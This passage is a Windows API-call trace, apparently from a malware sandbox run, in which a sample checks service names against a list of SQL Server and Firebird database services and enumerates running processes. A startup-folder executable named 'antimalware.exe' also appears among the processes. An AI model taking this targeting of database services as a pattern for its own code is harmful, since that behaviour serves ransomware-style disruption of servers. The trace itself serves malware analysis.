	[0171.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0171.744] lstrlenW (lpString="NcbService") returned 10
	[0171.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0171.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0171.744] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0171.744] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0171.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0171.744] lstrlenW (lpString="netprofm") returned 8
	[0171.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0171.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0171.744] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0171.744] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0171.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0171.745] lstrlenW (lpString="NgcSvc") returned 6
	[0171.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0171.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0171.745] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0171.745] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0171.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0171.745] lstrlenW (lpString="NlaSvc") returned 6
	[0171.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0171.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0171.745] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0171.745] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0171.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0171.745] lstrlenW (lpString="nsi") returned 3
	[0171.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0171.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0171.745] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0171.745] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0171.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0171.745] lstrlenW (lpString="PcaSvc") returned 6
	[0171.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0171.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0171.745] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0171.745] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0171.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0171.745] lstrlenW (lpString="PlugPlay") returned 8
	[0171.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0171.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0171.745] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0171.746] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0171.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0171.746] lstrlenW (lpString="Power") returned 5
	[0171.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0171.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0171.746] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0171.746] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0171.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0171.746] lstrlenW (lpString="ProfSvc") returned 7
	[0171.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0171.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0171.746] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0171.746] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0171.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0171.746] lstrlenW (lpString="RpcEptMapper") returned 12
	[0171.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0171.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0171.746] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0171.746] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0171.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0171.746] lstrlenW (lpString="RpcSs") returned 5
	[0171.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0171.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0171.746] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0171.746] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0171.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0171.747] lstrlenW (lpString="SamSs") returned 5
	[0171.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0171.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0171.747] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0171.747] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0171.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0171.747] lstrlenW (lpString="Schedule") returned 8
	[0171.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0171.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0171.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0171.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0171.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0171.747] lstrlenW (lpString="SecurityHealthService") returned 21
	[0171.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0171.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0171.747] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0171.747] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0171.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0171.747] lstrlenW (lpString="SENS") returned 4
	[0171.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0171.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0171.747] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0171.748] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0171.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0171.748] lstrlenW (lpString="ShellHWDetection") returned 16
	[0171.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0171.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0171.748] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0171.748] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0171.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0171.748] lstrlenW (lpString="Spooler") returned 7
	[0171.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0171.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0171.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0171.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0171.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0171.748] lstrlenW (lpString="StateRepository") returned 15
	[0171.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0171.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0171.748] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0171.748] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0171.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0171.748] lstrlenW (lpString="SysMain") returned 7
	[0171.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0171.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0171.748] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0171.748] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0171.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0171.748] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0171.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0171.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0171.749] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0171.749] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0171.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0171.749] lstrlenW (lpString="Themes") returned 6
	[0171.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0171.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0171.749] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0171.749] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0171.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0171.749] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0171.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0171.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0171.749] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0171.749] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0171.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46f23f8 | out: hHeap=0x4f0000) returned 1
	[0171.749] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364
	[0171.755] Process32FirstW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0171.756] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0171.757] lstrlenW (lpString="System") returned 6
	[0171.757] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0171.758] lstrlenW (lpString="smss.exe") returned 8
	[0171.758] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0171.759] lstrlenW (lpString="csrss.exe") returned 9
	[0171.759] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0171.760] lstrlenW (lpString="wininit.exe") returned 11
	[0171.760] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0171.761] lstrlenW (lpString="csrss.exe") returned 9
	[0171.761] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0171.762] lstrlenW (lpString="winlogon.exe") returned 12
	[0171.762] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0171.763] lstrlenW (lpString="services.exe") returned 12
	[0171.763] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0171.764] lstrlenW (lpString="lsass.exe") returned 9
	[0171.764] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0171.765] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0171.765] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0171.766] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0171.766] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.767] lstrlenW (lpString="svchost.exe") returned 11
	[0171.767] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.768] lstrlenW (lpString="svchost.exe") returned 11
	[0171.768] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0171.769] lstrlenW (lpString="dwm.exe") returned 7
	[0171.769] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.770] lstrlenW (lpString="svchost.exe") returned 11
	[0171.770] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.770] lstrlenW (lpString="svchost.exe") returned 11
	[0171.770] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.771] lstrlenW (lpString="svchost.exe") returned 11
	[0171.771] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.772] lstrlenW (lpString="svchost.exe") returned 11
	[0171.772] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.773] lstrlenW (lpString="svchost.exe") returned 11
	[0171.773] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.778] lstrlenW (lpString="svchost.exe") returned 11
	[0171.778] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.779] lstrlenW (lpString="svchost.exe") returned 11
	[0171.780] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.780] lstrlenW (lpString="svchost.exe") returned 11
	[0171.780] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.781] lstrlenW (lpString="svchost.exe") returned 11
	[0171.781] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.782] lstrlenW (lpString="svchost.exe") returned 11
	[0171.782] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0171.783] lstrlenW (lpString="spoolsv.exe") returned 11
	[0171.783] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.784] lstrlenW (lpString="svchost.exe") returned 11
	[0171.784] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0171.786] lstrlenW (lpString="audiodg.exe") returned 11
	[0171.786] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0171.787] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0171.787] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0171.788] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0171.788] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0171.789] lstrlenW (lpString="sihost.exe") returned 10
	[0171.789] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0171.854] lstrlenW (lpString="Memory Compression") returned 18
	[0171.854] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.855] lstrlenW (lpString="svchost.exe") returned 11
	[0171.855] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0171.856] lstrlenW (lpString="taskhostw.exe") returned 13
	[0171.856] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0171.857] lstrlenW (lpString="msoia.exe") returned 9
	[0171.857] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0171.858] lstrlenW (lpString="explorer.exe") returned 12
	[0171.858] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0171.859] lstrlenW (lpString="SearchUI.exe") returned 12
	[0171.859] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0171.860] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0171.860] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0171.861] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0171.861] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0171.862] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0171.862] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0171.863] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0171.863] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0171.864] lstrlenW (lpString="consent.exe") returned 11
	[0171.864] Process32NextW (in: hSnapshot=0x364, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0171.864] lstrlenW (lpString="dllhost.exe") returned 11
